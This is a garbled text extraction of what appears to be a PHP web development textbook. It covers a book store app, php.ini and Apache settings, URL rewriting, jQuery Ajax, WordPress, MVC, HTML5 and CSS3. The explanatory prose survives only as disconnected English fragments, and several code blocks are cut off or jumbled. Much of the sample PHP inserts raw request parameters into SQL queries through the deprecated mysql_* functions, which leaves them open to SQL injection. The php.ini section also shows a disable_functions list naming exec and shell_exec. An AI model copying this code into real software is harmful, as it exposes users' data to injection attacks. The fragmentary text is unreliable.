<td>$<?php echo $row['price'] * $qty ?></td>
</tr>
<?php endforeach; ?>
<tr>
<td colspan="3" align="right"><b>Total:</b></td>
<td>$<?php echo $total; ?></td>
</tr>
</table>
292
293
<div class="order-form">
<h2>Order Now</h2>
<form action="submit-order.php" method="post">
<label for="name">Your Name</label>
<input type="text" name="name" id="name">
<label for="email">Email</label>
<input type="text" name="email" id="email">
<label for="phone">Phone</label>
<input type="text" name="phone" id="phone">
<label for="address">Address</label>
<textarea name="address" id="address"></textarea>
<br><br>
<input type="submit" value="Submit Order">
<a href="index.php">Continue Shopping</a>
</form>
</div>
</div>
<div class="footer">
© <?php echo date("Y") ?>. All right reserved.
</div>
</body>
</html>
294
295
296
<p>
<?php echo $order['address'] ?>
</p>
<?php if($order['status']): ?>
* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">
Undo</a>
<?php else: ?>
* <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">
Mark as Delivered</a>
<?php endif; ?>
</div>
<div class="items">
<?php
$order_id = $order['id'];
$items = mysql_query("SELECT order_items.*, books.title
FROM order_items LEFT JOIN books ON order_items.book_id = books.id
WHERE order_items.order_id = $order_id
");
while($item = mysql_fetch_assoc($items)):
?>
<b>
<a href="../book-detail.php?id=<?php echo $item['book_id'] ?>">
<?php echo $item['title'] ?>
</a>
(<?php echo $item['qty'] ?>)
</b>
<?php endwhile; ?>
</div>
</li>
<?php endwhile; ?>
</ul>
</body>
</html>
auth.php Include
orders Table SELECT Query
Order
SELECT Query
order_items Table order_items Table Book ID
books Table JOIN
Order orders Table status Column
297
status
0 Order 1
Order
Order <li> Element
status
delivered Class
<?php if($order['status']): ?>
<li class="delivered">
<?php else: ?>
<li>
<?php endif; ?>
Undo
</a>
<?php else: ?>
Mark as Delivered
</a>
<?php endif; ?>
Order
Mark as Delivered Link
Order Undo Link Link
order-status.php URL Query String
Mark as Delivered Link status=0 Undo Link
status=1 order-status.php
Code
<?php
include("confs/config.php");
$id = $_GET['id'];
$status = $_GET['status'];
mysql_query("UPDATE orders SET
status=$status, modified_date=now() WHERE id=$id
");
header("location: orders.php");
?>
298
Search
Publisher Publish
ISBN No.
Star Rating Review
Online Book Store Source Code http://eimaung.com/pwd-rc/ Download
Conclusion
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
300
301
302
Password Link
Link (-) Password
Interface
303
304
; http://php.net/engine
engine = On
; Default Value: On
; Development Value: Off
; Production Value: Off
; http://php.net/short-open-tag
short_open_tag = Off
; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = Off
Semi-colon
Setting
Setting
Semicolon Setting Setting
305
<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>
Disable Functions
disable_functions = exec,shell_exec,unlink,phpinfo
Setting disable_functions Setting PHP
Function disable_functions
PHP Function Code Setting
Application Server File System
PHP Function Setting
Application
PHP Script
Server Run Function Server File
System
Server PHP Script Run
Function
306
Resource Usages
max_execution_time = 30
PHP Script max_execution_time Setting
Script
()
Script
Server Processor Server Setting
memory_limit = 128M
PHP Script Memory memory_limit Setting
Megabyte M Unite
Gigabyte G Unit
Script Memory Server Performance
Setting
Error Reporting
error_reporting = E_ALL & ~E_DEPRECATED
PHP Code Error Message
error_reporting Setting Pre-Defined
Constant
Constant
E_ALL,
E_ERROR,
E_WARNING,
E_PARSE,
E_NOTICE
E_DEPRECATED
E_ALL Error error_reporting = E_ALL
Message
307
Register Global
register_globals = Off
PHP Request
$_GET, $_POST, $_REQUEST, $_COOKIE
Superglobal
Register Global Setting
On Request Superglobal
Variable PHP
if ($_SESSION['auth']) {
$auth = true;
}
308
if($auth) {
// Do Important Things
}
File
309
Timezone
date.timezone = Asia/Rangoon
Date/Time
Default Timezone
date.timezone
Setting Timezone
Timezone http://www.php.net/manual/en/timez
ones.php Standard Time Asia/Rangoon
Setting php.ini Setting
http://www.php.net/manual/en/ini.list.php
310
Upload File Size ini_get("upload_max_filesize")
ini_get() Function Setting
Function
Error Report Setting ini_set("error_reporting", "E_ALL")
ini_set() Function Setting Run Time
Setting Run Time ini_set() Function
http://www.php.net/manual/en/ini.list.php Setting php.ini Only
Setting ini_set()
Setting
ini_set() Function Setting ini_restore()
Function
# Sign
php.ini Semicolon
httpd.conf # Sing Setting
311
Port Setting
Listen 80
Setting Listen Listen Setting Apache Web Server
Port No. Web Server Default Port 80
httpd.conf 80 php.ini Setting
Equal Sign
80
65535 Port Link
http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
Server Software Port
- Listen 90
Web Server Request http://localhost:90/
Host Name Port Request
Web Server Listen Port
Web Server Default Port 80 Web Server
Port Server Listen Port
Compression Module
LoadModule deflate_module modules/mod_deflate.so
Apache Web Server Document Respond Document Size
312
text/plain
text/html
text/xml
text/css
application/xml
application/xhtml+xml
application/rss+xml
application/javascript
application/x-javascript
image/x-icon
<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain text/html text/css
</IfModule>
313
Cache Module
LoadModule expires_module modules/mod_expires.so
mod_expires Module Cache Control Browser Respond
Cache Cache Content
Cache Setting Module
Module # Sing Cache Expires Setting
<IfModule mod_expires.c>
ExpiresActive on
ExpiresDefault
ExpiresByType text/html
ExpiresByType image/x-icon
ExpiresByType image/png
ExpiresByType image/jpg
</IfModule>
"access
"access
"access
"access
"access
plus
plus
plus
plus
plus
1
0
1
1
1
month"
seconds"
week"
month"
month"
Proxy Module
LoadModule proxy_module modules/mod_proxy.so
mod_proxy Module Apache Proxy Server Web
Application Application Server Proxy Server
Application Server Request
Proxy Server Proxy
Server Security Cache Control
Load Balance
Proxy Reverse Proxy Forward Proxy mod_proxy Apache Reverse
Proxy Forward Proxy Setting Reverse Proxy Web
Server Client Request Server Respond
Request Server Request
Server Respond Client Respond Server
314
Setting
ProxyPass /foo.html http://example.com/bar.html
ProxyPassReverse /foo.html http://example.com/bar.html
315
^ Request URL
books ( ) index.php Request
316
URL books
index.php Request
Set
RewriteRule ^books/([a-z]+)/([0-9]+)$ index.php?cat=$1&id=$2
Set Set [a-z]
a to z a to z Alphabet Special Character
Rule
Set 0 to 9
Character + Set
Set $1 $2
Variable URL Request URL books/internet/98
- a to z 0 to 9 Character Dot
RewriteRule ^books/(.+)/(.+)/?$ index.php?cat=$1&id=$2
(.+)
Character ()
?
( )
Slash Rule
[a-z]{5-10}
a to z () () [09]{3} 0 to 9 ()
Rule Online Book Store Rewrite
Rule
317
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /store/
RewriteRule ^books/?$ index.php [NC,L]
RewriteRule ^cart/?$ view_cart.php [NC,L]
RewriteRule ^category/([0-9]+)/?$ index.php?cat_id=$1 [NC,L]
RewriteRule ^admin/edit/book/([0-9]+)/?$ admin/book-edit.php?id=$1 [NC,L]
RewriteRule ^admin/edit/category/([0-9]+)/?$ admin/cat-edit.php?id=$1 [NC,L]
</IfModule>
Module mod_rewrite
RewriteBase Setting Project Web Server Document
Root store Folder RewriteBase /store/
Rule
RewriteRule ^books/?$ /store/index.php [NC,L]
RewriteRule ^cart/?$ /store/view_cart.php [NC,L]
RewriteBase /store/
-
Rule /store/
http://localhost/store/books/
http://localhost/store/cart/
http://localhost/store/category/12/
http://localhost/store/admin/edit/book/12/
http://localhost/store/admin/edit/category/12/
318
[NC] No Case
[QSA] Request URL Query String Rewrite URL
[R] URL Rewrite Redirect HTTP Status
Code No. [R=301]
[R=307]
Flag Comma - [L,NC,QSA]
RewriteCond Setting Server Variable
Rule RewriteCond %{HTTP_HOST} !^example\.com$ [NC]
RewriteRule .? http://example.com%{REQUEST_URI} [R=301,L]
- if(HTTP_HOST != example.com)
%{HTTP_HOST} Request Domain Name
Server Variable
Exclamation Mark (!) Not
^example\.com$ example.com
Regular Expression Rule Dot (.) Regular Expression Operator
Back Slash Operator Escape
RewriteRule .? http://example.com%{REQUEST_URI} [R=301, L]
- URL ( ) http://example.com
Rewrite %{REQUEST_URI} Server Variable
URL Domain Name Resource Location
Rewrite example.com Flag
R=301 Flag Redirect
-
319
Server Variable
.htaccess
320
Directories Settings
Document Root
DocumentRoot "C:/xampp/htdocs"
httpd.conf DocumentRoot "C:/xampp/htdocs"
Setting
DocumentRoot Setting Web Document Folder
C:/xampp/htdocs
Apache Document Folder
321
322
Extra Setting
Virtual Host
foo
bar
323
Conclusion
325
Link: http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications
11.1 Asynchronous
326
Application
() Book Store Project
Script
Delete Delete Script
Delete Script Script
localhost
Request/Respond
Synchronous Ajax Web
Application
327
var httpRequest;
function makeRequest(url, query, method, complete) {
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
httpRequest.onreadystatechange = complete;
httpRequest.open(method, url);
httpRequest.send(query);
}
328
0
1
2
3
4
Request
Server
Request
Server
Request Respond
329
XML XHR
XMLHttpRequest Ajax
XML XML JSON Respond
Data JSON ()
Respond Data JSON
330
331
( )
$.get("book-list.php").done( function() { } )
.fail( function() { } )
.always( function() { } );
Request
332
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Todo</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div id="wrap">
<h1>Task List <span>0</span></h1>
<ul id="tasks"></ul>
<ul id="done"></ul>
<div id="new-task">
<input type="text" /><button>+</button>
</div>
</div>
<script src="jquery.js"></script>
<script src="app.js"></script>
</body>
</html>
[ style.css ]
#wrap {
width: 360px;
margin: 20px auto;
padding: 20px;
border: 6px solid #DDD;
overflow: hidden;
}
h1 {
margin: 0 0 20px 0;
padding: 0 0 5px 0;
font-size: 18px;
border-bottom: 1px solid #DDD;
}
h1 span {
float: right;
display: block;
background: #9cf;
font-size: 12px;
padding: 2px 6px;
color: #FFF;
}
ul {
list-style: none;
margin: 0;
padding: 0;
}
ul li {
overflow: hidden;
padding: 4px 0;
}
li input, li span {
float: left;
margin-right: 6px;
}
li a {
float: right;
text-decoration: none;
font-weight: bold;
color: #900;
padding: 0 8px;
display: none ;
}
li:hover a {
display: inline;
}
333
#new-task {
margin-top: 20px;
padding-top: 10px;
border-top: 1px solid #efefef;
overflow: hidden;
}
#new-task input {
border: 1px solid #DDD;
border-right: 0 none;
padding: 2px;
width: 240px;
height: 20px;
float: left;
}
#new-task button {
width: 30px;
border: 1px solid #DDD;
background: #eee;
font-weight: bold;
color: #666;
padding: 2px 2px 3px 2px;
float: left;
}
#done {
line-height: 18px;
margin-bottom: 10px;
}
#done span {
text-decoration: line-through;
font-size: 12px;
color: #999;
}
[ app.js ]
$(document).ready(function() {
$("#new-task button").click(function() {
var task = $("#new-task input").val();
if(!task) return false;
buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );
$("#new-task input").val("").focus();
});
$("#new-task input").keydown(function(e) {
if(e.which == 13)
$("#new-task button").click();
});
});
334
335
function buildTask(msg) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}
$("h1 span").html( $("#tasks li").length );
});
var task = $("<span>").html(msg);
var del = $("<a>", {
href: "#"
}).html("×").click(function() {
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});
return $("<li>").append(checkbox).append(task).append(del);
}
336
Code
Task Subject Status
Task phpMyAdmin
Server-side Scripts
Tasks
Task
Task
Status
Status
- Code actions.php
<?php
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("todo", $conn);
$action = $_REQUEST['action'];
switch($action) {
case "get":
get_all_tasks();
break;
case "add":
add_task();
break;
case "del":
del_task();
break;
case "done":
done_task();
break;
case "undo":
undo_task();
break;
default:
unknown_action();
}
function get_all_tasks() {
$result = mysql_query("SELECT * FROM tasks");
$tasks = array();
337
while($row = mysql_fetch_assoc($result)) {
$tasks[] = $row;
}
echo json_encode($tasks);
}
function add_task() {
$subject = $_POST['subject'];
$result = mysql_query("INSERT INTO tasks (subject, created_date)
VALUES ('$subject', now())");
if($result) {
$id = mysql_insert_id();
echo json_encode(array("err" => 0, "id" => $id));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to insert task"));
}
}
function del_task() {
$id = $_POST['id'];
$result = mysql_query("DELETE FROM tasks WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to delete task"));
}
}
function done_task() {
$id = $_POST['id'];
$result = mysql_query("UPDATE tasks SET status = 1 WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
}
}
function undo_task() {
$id = $_POST['id'];
$result = mysql_query("UPDATE tasks SET status = 0 WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
}
}
function unknown_action() {
echo json_encode(array("err" => 1, "msg" => "Unknown Action"));
}
?>
338
339
Highlight Code
Record ID Task List id
jQuery data() Function <li> Element
340
Highlight Strikeout
actions.php post() Method Request Request Data action
add subject task Variable Respond Data
Callback Function res Variable
Request action add actions.php add_task()
Function add_task() Function INSERT
err id Index Array err 0 id
Record ID INSERT Query err msg
Index Array err 1 msg Task
Message
341
Task Delete tasks Table Request
buildTask() Function Task
function buildTask(msg, id) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
var task = $(this).parent();
var task_id = task.data("id");
if($(this).is(":checked")) {
$.post("actions.php", {action:
task.prependTo("#done");
$("h1 span").html( $("#tasks
});
} else {
$.post("actions.php", {action:
task.appendTo("#tasks");
$("h1 span").html( $("#tasks
});
}
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}
$("h1 span").html( $("#tasks li").length );
});
var task = $("<span>").html(msg);
var del = $("<a>", {
href: "#"
}).html("×").click(function() {
var task = $(this).parent();
var task_id = task.data("id");
$.post("actions.php", {action: "del", id: task_id}, function(res) {
task.remove();
$("h1 span").html( $("#tasks li").length );
}, "json");
342
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});
return $("<li>").data("id", id)
.append(checkbox)
.append(task)
.append(del);
}
Highlight Strikeout
post() Method actions.php Request
Request Data <li> Element data-id
Code
-
$.get("actions.php", {action: "get"}, "json");
-
Request Method GET POST
GET
POST
get() post()
getScript() Respond Data JavaScript
Run Method
343
$.getScript("js/somescript.js");
-
$.get("js/somescript.js", "script");
load() DOM Selector Respond
Data Select Element $("#note").load("data.php", {id: 123});
344
Request
success Request
complete Request Option
Function
timeout Request timeout Option
Millisecond
type type Option GET, POST, PUT, DELETE Request Method
345
Conclusion
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
347
348
Website Interface
Front-End Interface Back-End Web Master
Password (-)
CMS Website User Account Content
Meta Category Tag ( Comment ) Website Design Layout
Links:
349
Wordpress http://wordpress.org/
Joomla http://www.joomla.org/
Drupal http://drupal.org/
Vanilla http://vanillaforums.org/
Elgg http://elgg.org/
MediaWiki http://www.mediawiki.org/
Moodle http://moodle.org/
Magento http://magentocommerce.com/
12.2 Wordpress
350
Installing Wordpress
351
352
353
354
355
356
Wordpress Plugins
Wordpress
Plugin http://wordpress.org/extend/plugins/
(Plugin Directory) Plugin Download
Wordpress Plugin Directory Plugin () ( )
Premium Quality Plugin Website
() jQuery Plugin Plugin Developer
Plugin
Manual Readme
Website Web Master Email Contact Form Plugin
Wordpress Plugin Directory "contact" Keyword
() Plugin Description
Plugin Popular Contact Plugin
Contact Form 7 Plugin Download
https://wordpress.org/plugins/contact-form-7/
Download Zip File Extract contactform-7 Folder Wordpress Plugins Folder htdocs/ wordpress/wp-content/plugins/
Folder Admin Dashboard Sidebar Menu Plugins Option
(-) Plugin
357
358
Wordpress Themes
359
Folder htdocs/wordpress/wp-content/themes/
Admin Dashboard (-) Appearance Themes
360
Message Option
- Theme Stylesheet dafault.css
http://localhost/wordpress/
Front End (-)
Website Site Design Bueno Theme
Template
Wordpress Layout
Customize Customize Wordpress Source Code
Theme ( ) Theme
Plugin Wordpress Theme Plugin
Online Tutorial HTML,
CSS, JavaScript PHP Theme, Plugin Wordpress
Developer http://codex.wordpress.org/
361
CSS Style
index.php Home Page
Template Post
Template Structure <?php get_header(); ?>
<div class="posts">
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<h2 class="title">
<a href="<?php the_permalink() ?>">
<?php the_title(); ?>
</a>
</h2>
<div class="entry">
<?php the_content(); ?>
</div>
</div>
<?php endwhile; ?>
<div class="sidebar">
<?php get_sidebar(); ?>
</div>
362
</div>
<?php get_footer(); ?>
sidebar.php Wordpress Website Sidebar Search Box, Category List, Calendar, Tag
Cloud Widget Appearance Widgets
Widget Sidebar Template Structure
-
363
<div class="sidebar">
<?php dynamic_sidebar('primary'); ?>
</div>
=>
=>
=>
=>
=>
=>
=>
'primary',
'Main Widget Area',
'sidebar',
'<li>',
'</li>',
'<h2>',
'</h2>' );
register_sidebar( $args );
364
365
<div class="hero-entry">
<?php the_content(); ?>
</div>
</div>
<?php endwhile; ?>
<?php $ft = new WP_Query(); $ft->query('showposts=3&cat=2&offset=0'); ?>
<?php while ($ft->have_posts()) : $ft->the_post(); ?>
<div class="feature">
<h2 class="feature-title">
<a href="<?php the_permalink() ?>">
<?php the_title() ?>
</a>
</h2>
<div class="festure-entry">
<?php the_content() ?>
</div>
</div>
<?php endwhile; ?>
<div class="sidebar">
<?php get_sidebar("one") ?>
<?php get_sidebar("two") ?>
</div>
</div>
<?php get_footer() ?>
Developer Theme
Admin Dashboard Option
Option
wordpress.org Theme Directory Plugin Directory Popular
Theme Plugin Wordpress
366
""
12.3 Joomla
12.4 Drupal
367
Conclusion
Content Website
CMS
Website
Front-End Template Design
Content Back-End CMS
CMS Developer
Resource
web development
(Saturngod)
369
() Model-View-Controller
Let's Write Maintainable Code
Code Duplication
Coding Standard
Code
.) Code Duplication
370
D.R.Y Principle D.R.Y Don't
Repeat Yourself
.) Decoupling Function
Function Function
Function Function
Function Function Function
Function
Developer
371
Pattern
M-V-C Code Pattern
Three-Tier Architecture
Presentationabstractioncontrol (PAC)
Code Maintain
MVC
Model View Application Domain Logic
Model
Model Application
Input Model
Model View
View Model
Presentation
Logic Model Presentation View
Decouple Model View
372
Maintenance
View Logic Logic
Model Presentation
Maintenance Code
Software "Design First Approach"
User Interface
(View)
Software
Software
Requirement
Logic (Model) ( )
User Interface
User Interface Logic
Prototype Interface
Interface Feedback
Logic
User Interface
Logic Interface
Software "Design First Approach"
Logic Presentation Logic Presentation "Design First
Approach"
MVC Logic
Presentation Presentation
Logic UI
Software Project MVC
373
Developer
Developer
Software Developer
Software
MVC Software
View Model
Controller Controller
Controller Action Model
Model View
View
MVC
Model, View Controller
View Logic
Code
Program Controller Logic Model
Program
Logic Presentation MVC
MVC Pattern
Maintainable
Model, View, Controller Code
MVC
Application Maintainable
Maintainable
374
MVC (-)
375
Codeigniter
CI
Codeigniter EliaLab PHP
Framework Performance Documentation
MVC Pattern Database library,
Form Validation, XSS Filter, Email Functions, Image Manipulation, Zip, Encryption, Caching, Logging,
Profiling
Link: http://codeigniter.com/
CakePHP
Zend Framework
Link: http://framework.zend.com/
376
Symfony
FuelPHP
Laravel
377
Framework MVC
MVC Pattern PHP ()
Online Book Store categories Table
Record MVC htdocs Folder
mvc Folder mvc Folder File Folder
mvc/
|-- models/
|
|-- category.php
|-- views/
|
|-- category/
|
|
|--list.php
|
|
|--new.php
|-- controllers/
|
|-- category.php
|-- index.php
|-- mvc.php
|-- .htaccess
378
RewriteEngine On
RewriteBase /mvc/
RewriteRule
RewriteRule
RewriteRule
RewriteRule
Rule
RewriteRule ^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2
(\w+)
([a-zA-Z0-9_]+)
Word Character
a z 0 9
Underscore English Word Character
Word Block Rewrite URL
- http://localhost/mvc/book/list/
Rule URL http://localhost/mvc/mvc.php?controller=book&action=list
MVC Structure controller, action id Request Value
URL Pattern http://localhost/mvc/[controller]/[action]/[id]
controller Block action id
Value Query String
Query String
URL URL Rewrite Rule
Rule
controller home Default
mvc.php
<?php
# Render view function
function render( $template, $data = array() ) {
$controller = $_GET['controller'];
$view_file = "views/${controller}/${template}.php";
if(file_exists( $view_file ) and !is_dir( $view_file )) {
$view = $view_file;
include("index.php");
} else {
379
Statement
$view_file = "views/$controller/$view.php";
- Variable
Variable
380
381
.foot {
font-size: 13px;
color: #999;
text-align: center;
padding: 8px;
border-top: 1px solid #ddd;
}
.content {
padding: 20px;
}
</style>
</head>
<body>
<div class="wrap">
<h1>Book Category</h1>
<div class="content">
<?php include($view) ?>
</div>
<div class="foot">© 2013</div>
</div>
</body>
</html>
382
case "add":
add_cat();
break;
case "del":
rm_cat($id);
default:
exit("Unknown action -> $action");
}
function show_list() {
$cats = get_cats();
render("list", $cats);
}
function show_new() {
render("new");
}
function add_cat() {
$name = $_POST['name'];
$result = insert_cat($name);
header("location: http://localhost/mvc/category/list/");
}
function rm_cat($id) {
$result = del_cat($id);
header("location: http://localhost/mvc/category/list/");
}
?>
Model get_cats()
model/category.php
383
<?php
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("store", $conn);
function get_cats() {
$result = mysql_query("SELECT * FROM categories");
$cats = array();
while($row = mysql_fetch_assoc($result)) {
$cats[] = $row;
}
return $cats;
}
function insert_cat($name) {
mysql_query("INSERT INTO categories
(name, created_date, modified_date)
VALUES ('$name', now(), now())"
);
return mysql_insert_id();
}
function del_cat($id) {
mysql_query("DELETE FROM categories WHERE id = $id");
return mysql_affected_rows();
}
?>
Model Request/Respond
Table Script
view/category/list.php
<h2>List</h2>
<ul>
<? foreach($data as $cat): ?>
<li>
[ <a href="http://localhost/mvc/category/del/<?= $cat['id'] ?>">del</a> ]
<strong><?= $cat['name'] ?></strong>
</li>
<? endforeach; ?>
</ul>
<br>
<a href="http://localhost/mvc/category/new/">New Category</a>
384
385
Edit view/
category/list.php Edit Link view/category/ edit.php
( ) Edit Form View Template
controllers/category.php edit update Action
models/category.php categories Table Update
Model View Template Pattern
Book Controller,
Book Model Book View Category MVC
Model View Category Book
MVC
Conclusion
"MVC "
Application
Project MVC Architecture Pattern
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
387
() HTML5
Dream Come True for Web Developers
388
Website
Error Document Developer
XHTML
Error
Browser Markup Structure
XHTML
14.1 WHATWG
389
WHATWG Spec Web Forms 2.0 Web
Applications 1.0 Spec Spec HTML5
() W3C XHTML WHATWG HTML
W3C XHTML2 Browser Support WHATWG
Browser
W3C Tim Berners-Lee "HTML
HTML
(incremental improvements) "
HTML Working Group
W3C HTML Working Group WHATWG Web
Applications 1.0 HTML5 W3C
WHATWG Ian Hickson HTML5
Editor
HTML5
HTML5 Web Standard
HTML5 Browser
Browser Support
Developer HTML5
390
391
.) Feature Detection
392
.) Enhancements
HTML5 Enhance
Web Application
HTML5 HTML5
Enhance Browser Support Application
Support
- <input type="text" name="fname" autofocus>
autofocus HTML5 Attribute HTML5 Support
Browser Document Input Focus
Support Focus
Enhancement HTML5
393
Draft
HTML5
W3C
394
XHR2, File API, Media Capture, Indexed DB, Contacts API, Device Orientation,
Animation Timing Microdata Working Draft
Candidate Recommendation HTML5 Feature
Video/Audio, Canvas, Web Messaging, WebSockets, Drag & Drop, Web Worker, Web
Storage, Markup Candidate Recommendation
Proposed Recommendation
Geo Location API Proposed Recommendation
W3C Recommendation HTML5 Features
SVG, Web Open Font, RDFa W3C Recommendation
Feature
W3C Recommendation
395
396
<hgroup>
<img src="logo.png">
<h1>Section Title</h1>
<h2>Description or Tag Line</h2>
</hgroup>
<article> Element
<article class="comment">
<img src="user-one.jpg">
<h3>User Name</h3>
<p>Comment Body</p>
</article>
<article class="comment">
<img src="user-two.jpg">
<h3>User Name</h3>
<p> Comment Body </p>
</article>
Semantic Element
Modernizr
HTML5 Support Browser Semantic Element
14.6 Multimedia
397
<button
<button
<button
<button
</div>
398
onclick="document.getElementById('p').play()">Play</button>
onclick="document.getElementById('p').pause()">Pause</button>
onclick="document.getElementById('p').volume+=0.1">V+</button>
onclick="document.getElementById('p').volume-=0.1">V-</button>
2D Graphic Animation
HTML5
399
<defs>
<radialGradient id="circleGrad">
<stop offset="0%" stop-color="rgb(255, 255, 0)" />
<stop offset="100%" stop-color="rgb( 0, 255, 0)" />
</radialGradient>
</defs>
<ellipse fill="url(#circleGrad)" stroke="#000" cx="50%"
cy="50%" rx="50%" ry="50%">
<animate attributeName="rx" values="0%;50%;0%" dur="2s"
repeatCount="indefinite" />
<animate attributeName="ry" values="0%;50%;0%" dur="2s"
repeatCount="indefinite" />
</ellipse>
</svg>
14.8 Forms
400
search, tel, url, email, datetime, date, month, week, time, datetimelocal, number, range, color
-
Input Type Text Input
Semantic Touch Screen Mobile Devices
<input type="email"> Element Touch Screen Device
On-Screen Keyboard Email ( Space Bar ) @ Sign
.com
<input type="url"> Element URL / .com
On-Screen Keyboard <input type="search">
Keywords Keywords Clear Search
Keyword Browser
Input
401
402
403
14.9 CSS3
CSS3 HTML5
Form Input CSS 2.1 Developer
Image JavaScript
Style
Feature
Font Embed
404
h1 {
font-family: MyHelvetica;
}
Link: http://www.fontsquirrel.com/fontface/generator
Google Font API www.google.com/fonts/ Font
Font <link> Element Font Embed Google
Browser
RGBA Color
405
#dialog {
background: #555;
background: rgba(0, 0, 0, 0.6);
}
Border Radius
Element Border
border-radius CSS3 Property
() CSS Property
#dialog {
border-radius: 10px;
10px Size
#dialog {
Linear Gradient
406
linear-gradient () Gradient
Position top, right, bottom, left
Angle Degree ( - 45deg, -90deg, 70deg, 0deg)
Linear Gradient CSS3 Gradient Color Stop, Radial Gradient,
Repeating Gradients Complex Gradient
p.note {
#dialog {
407
}
}
Animations
408
}
@keyframes pulse {
0% {
background-color: yellow;
}
50% {
background-color: orange;
}
100% {
background-color: red;
}
}
Vendor Prefixes
CSS
Feature W3C Recommendation
Feature W3C Recommendation
- rgba() border-radius CSS3 rgba()
W3C Recommendation border-radius Candidate Recomm-
409
-moz- Prefix
background: -moz-linear-gradient(top, #fff, #ddd);
-webkit- Prefix
-webkit- Prefix
Webkit Engine
Browser Apple Safari, Android Browser iOS Browser
Internet Explorer Feature -ms- Prefix
CSS3 Feature Browser
#dialog {
background:
background:
background:
background:
}
410
Browser Browser
Ignore
Feature Browser
CSS3 Website
CSS3 Selector
411
412
( )
var value = localStorage.item;
( )
413
localStorage.removeItem("item");
localStorage.clear();
LocalStorage
Domain
Offline Application
Web Application
Client-side
Client-side Web Application
Offline Feature HTML5
AppCache
Offline Resource Cache Manifest
File
Resource HTML Document CSS File
JavaScript File Image Script File File Web Document
414
<!doctype html>
<html manifest="/cache.manifest">
<body>
...
</body>
</html>
CACHE MANIFEST
Section () FALLBACK: Section Resource Error
Document / /offline.html
- Resource offline.html
/ Sign " Resource "
NETWORK: Section Resource
* Sign
" Resource
"
CACHE: Section Resource Web
Browser Manifest File CACHE: Section Resource
Download Offline
cache.manifest Document
415
- Message
Chat Application
Client A Message Server HTTP
Client B
Client B Server Client A
Message Client A Message Client B
Real-Time Real-Time Client
Server Push
Facebook, Google+, Twitter, Gmail Application Real-Time Data
- Gmail Mail Real-Time
Facebook Comment Notification
Real-Time HTTP Pull Technology
Server Push Real-Time Ajax
Interval Server Request
- ()
Server Request Update
Server Update setInterval(function() {
$.get('get-data.php', function() {
// update data
});
}, 5000);
XHR ()
Request
Server ()
Request
Bandwidth
Server Request
416
Long Polling
Long Pooling
Request Server Respond Update
Respond Client Request Respond
Respond Request/ Respond
Long Pooling Server Update
( ) Timeout Respond
Request Server Update Respond
Real-Time
[ Client ]
function pollStart () {
$.get('chat.php', function(msg) {
$("#chat-box").append(msg.text);
pollStart();
}, 'json');
};
pollStart();
417
Client ()
Request Request/Respond
Bandwidth eimaung.com/pwd-rc/
Download
WebSockets
418
socket.io
Web Application Real-Time WebSockets
Web Development
419
Drag & Drop API Drag & Drop User Interface JavaScript Framework
Geolocation API
420
Conclusion
HTML5
Feature Browser Support
HTML5 Web Application Mobile App
Mobile App Android, iOS, Windows
Mobile Mobile Platform Support Platform App
HTML5 Mobile Browser
Mobile Web App Cordova HTML5
App Mobile Platform App
Mobile Web App Mobile Device Web Browser
App HTML5 Mobile App HTML5
Browser Mobile Device Install
App
Mobile Web App HTML5 Mobile App Native App
Mobile Platform
App
LinkedIn, Netflex, Mafia Wars, Finical Times, Wunderlist HTML5 Mobiel App
Zoho, Google Doc, Google Drive, Scribd, HootSuite Mobile Web App
() Mobile Web Rockstar Developer ()
HTML5 Mobile App Cordova
Rockstar Developer
10x Programmer ()
Test-Driven Development, Service Oriented
Architecture, Git, SCRUM, NodeJS, MongoDB, ExpressJS,
Build Automation, Back-end Server Architecture
Email: author@rsdbook.com
Website: http://rsdbook.com
422
423
Geolocation JSON
Format Data Format XML
URL
http://maps.googleapis.com/maps/api/geocode/xml?address=Shwedagon,Yangon,Myanmar&sensor=false
424
425
426
427
428
<div class="weather">
<strong class="status"></strong>
<img src="" alt="" class="icon">
<em class="temp">
<span class="temp-value"></span>
°
<span class="temp-unit"></span>
</em>
</div>
CSS Style
body {
background: #efefef;
font-family: arial;
}
.weather {
width: 200px;
text-align: center;
